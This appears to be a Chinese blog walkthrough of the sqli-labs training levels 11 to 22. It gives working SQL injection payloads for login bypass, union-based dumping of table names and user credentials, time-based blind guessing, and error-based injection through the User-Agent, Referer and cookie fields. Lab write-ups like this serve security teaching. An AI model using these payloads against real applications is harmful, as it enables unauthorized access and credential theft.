less11-22


  • 注1:从现在less11开始,进入post的世界了,前十关都是get请求,post请求在网址上看不见,要开Burpsuit等工具可以看到。下面为为了方便,都以F12中的抓包方式来查看表单

    一.less11

1.通过查看表单中的信息可以知道,less11的请求就只有简单的username和password,并且值就是我们在输入框输入的值

2.假设我们已经存在账号admin,常时通过逻辑改写使用万能密码:

username框中输入 admin'#
password框随便输

结果会发现可以也能登陆

原理:

#显然,单引号构造了admin的闭合,然后后面的代码都被注释掉了
select username,password from xx where username=admin'# and password='xx' 

3.测试列数
在账号框中输入如下内容,order by 2的时候能正确返回,3的时候不返回

admin'  order by 3#

admin'  order by 2#

返回失败的页面

* 结论:表中数据有两列*

union注入获取数据

注意:这里username必须是不存在的,否则会正常输出admin,然后联合查询,这样的话username和password就会对应查找到联合查询的值

Username:1admin'union select 1,database()# passwd=1(任意密码)

获取数据库名

*由此我们可以发现,把账号名按章上面的格式输入,密码随便输,可以回显想要的数据。找到注入点后,可以开始获取敏感数据了,获取数据库名,接着获取表名,然后获取列名,最后把整个列的数据爆破出来 *

下面做一下完整演示,只写username框的内容(其实这些语句前面已经讲过了,less1中有给出爆数据库中各个数据的方法,重点在于找到注入点):

  • 1.获取当前数据库名
    1admin'union select 1,database()# passwd=1(任意密码)
    • 2.获取所有表名(由1知数据库名security)
      1admin' union select 1,group_concat(table_name) from information_schema.tables where table_schema="security"# 
  • 3.获取user表中所有数据

    1admin union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" --+
  • 4.爆数据

把id=2的username和password找出来
1adimin union select 1,username,password from users where id=2 --+

二.less12

双引号单括号闭合: (“admin”),其余不变

三.less13

1.首先测试 admin ,发现由报错
D3NqHS.png
所以判断出是单引号+单括号的闭合: (‘admin’)
登陆成功的用户名:

admin')#

2.当登陆成功时,页面不会由任何数据回显,但是会显示successfully,所以判断这是布尔盲注,盲注手法不再赘述
D3UiHU.png

四.less14

依旧是盲注
本题重点还判断是闭合类型
1.首先测试单引号’,发现没有报错回显,测试”,有报错回显

判断出是双引号闭合:”admin”

admin"#

其他的同less13

五.less15

本关没有任何提示,在猜测闭合类型的时候,只能慢慢试(本关是单引号闭合)
思路:
可以用下面四种最基础的闭合方式试试哪种能实现万能登陆

admin1' or 1=1#  (这关这里可以过)
admi1n') or 1=1# 
admi1n" or 1=1#
admi1n") or 1=1#

用延时注入进行猜解,不赘述

六.less16

同less15,本关的闭合类型是双引号+单括号闭合,测试方法和其余的地方同less15

七,less17

本关username被经过特殊处理不能在此处注入(check_input函数会对username进行处理),所以只能考虑在password处注入,这样的话username必须要是存在的,我们给admin,本关依旧是盲注,手法同上不再赘述,登陆成功和失败有不同响应
chech_input函数
其实这个函数的大致原理就是取除非法字符,比如单引号,双引号,反斜杠,null

以延时注入猜解为例

username:admin
password:11'and If(ascii(substr(database(),1,1))=115,1,sleep(5))#

七.总结(less11-17)

步骤:

  • 1.先通过尝试构造闭合,测试自己构造的payload能否执行,比如username和密码乱输然后后面加 or 1=1,测试是否能登陆成功,如果登陆成功则构造闭合成功

  • 2.构造成功后,判断注入手法:
    less11-12都会在登陆成功时输出登陆成功的账号密码,所以可以依靠这个输出敏感信息.
    less13-16都是盲注只能猜解,其中less13-14有报错提示,less15到16没有,只有登陆成功和登陆失败的提示,所以后者只能慢慢尝试构造闭合
    less17的username在代码层面进行了特殊处理所以不能用username来注入,在password处注入手法同username,但是用户名一定要是存在的


八.less18

本关对username和password全部进行check_input的处理,所以不能通过构造闭合在不登陆成功的情况下进行注入了

下面是输入正确账号密码时的回显结果
登陆成功时显示的结果
回显useragent和ip地址
从源码中我们找到了这句插入的sql语句
插入的sql语句

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

插入的sql语句表示向uagents这张表中插入uagent(也就是User-Agent),ip,username
通过上面的分析,我们知道可以在请求头处对useragent进行注入然后靠回显出我们想要的信息

这里推荐使用火狐的插件 ModHeader,可以直接对请求头进行构造
构造方法(直接往ModHeader中加入下面其中依据代码然后正确登陆界面):
D80fvd.png

#下面concat中的第二个参数随便改,可以用子查询,用less1中爆库语句来获取所有想要的信息
' or updatexml(1,concat(0x7e,database()),1) or '1'='1

' or updatexml(1,concat(0x7e,database()),1),'','')#

结果
注:values中不能用子查询,语法错误,所以这里需要使用报错注入不能直接select
分析:对于values中的 ‘$uagent’,左右有两个单引号,所以在上面的代码中第一个’是为了构造闭合,然后对对于上面的第一个式子,or 要执行的标量表达式 or ‘1’=’1,其中最后一个1没有手动加右单引号,这样原先的的右单引号才能形成闭合,也就是’1’=’1’。第二个式子是直接自己构造全部的values,然后把原先的注释掉了(less19中详细讲这种方法)
补充:关于updatexm的想借可以看
https://blog.csdn.net/weixin_43326436/article/details/106525909
updatexml的用法
下面是天书中的简要概述,可以翻回去看,concat中的参数至少要两个

extractvalue(1,concat(0x7e,(select @@version),0x7e))    
//mysql对xml数据进行查询和修改的xpath函数,xpath语法错误
updatexml(1,concat(0x7e,(select @@version),0x7e),1)    
//mysql对xml数据进行查询和修改的xpath函数,xpath语法错误

九.less19

本关输入正确的账号密码后显示的内容:

本关和less18几乎一样,只不过把useragent改成了referers,这两项都是在请求头里的我们可以通过手动更改,手法同less18,不再赘述

网页源码

$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";

以获取数据库名为例子(无意中发现了一个问题):

#下面三个都可以(在less18中同理也行)
'or updatexml(1,concat(0x7e,database()),1),'','')#
'or updatexml(1,concat(0x7e,database()),1),'')#
'or updatexml(1,concat(0x7e,database()),1))#

上面三种写法都可行的原因:我猜测是因为在用updatexml函数进行报错后下面的代码可能就不执行了

十.less20

本关开始是对cookie信息的注入来获取信息
推荐插件:cookie edit

最初的页面
cookie注入后
cookie的uname里原先的admin,我们直接构造闭合然后联合注入

'union select 1,2,database()#

十一:less21

本关依旧是cookie注入,但是cookie的值经过了base64位加密(大部分cookie会采用的手法)

http://tools.bugscaner.com/base64/
注:不是所有的网站解码都是正确的,有一些是有问题的,可以找几个网站做一下循环验证

本关在cookie中注入下面的编码会报错

'union select 1,2,database()#

通过报错信息易得应该是单引号+单括号闭合,正解如下,就

')union select 1,2,database()#

结果

十二.less22

本关同less11,只不过改成了双引号闭合而已,同昂需要加密

"union select 1,2,database()#

十三.总结(less18-22)

手法总结:

  • 1.cookie非加密注入
  • 2.cookie加密注入

文章作者: 灿若星河
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 灿若星河 !
评论
 上一篇
less23-37 less23-37
一.less23本关不能用–+来进行输出,源码中自动换成空格了 通过单引号测试获得的报错信息得知是单引号闭合猜测原sql语句 select id,username,password from users where id='xx'方法一:特
2020-11-21 灿若星河
下一篇 
less5-10 less5-10
注1:从本节开始忽略order by的步骤,因为都是3所以为了方便不再进行赘述 注2:less5-10中,除了less7要求是用outfile 的方式来进行注入,其他的关卡界面都一样,只有sql语句返回true才会显示语句,否则不显示如下
2020-11-20 灿若星河
  目录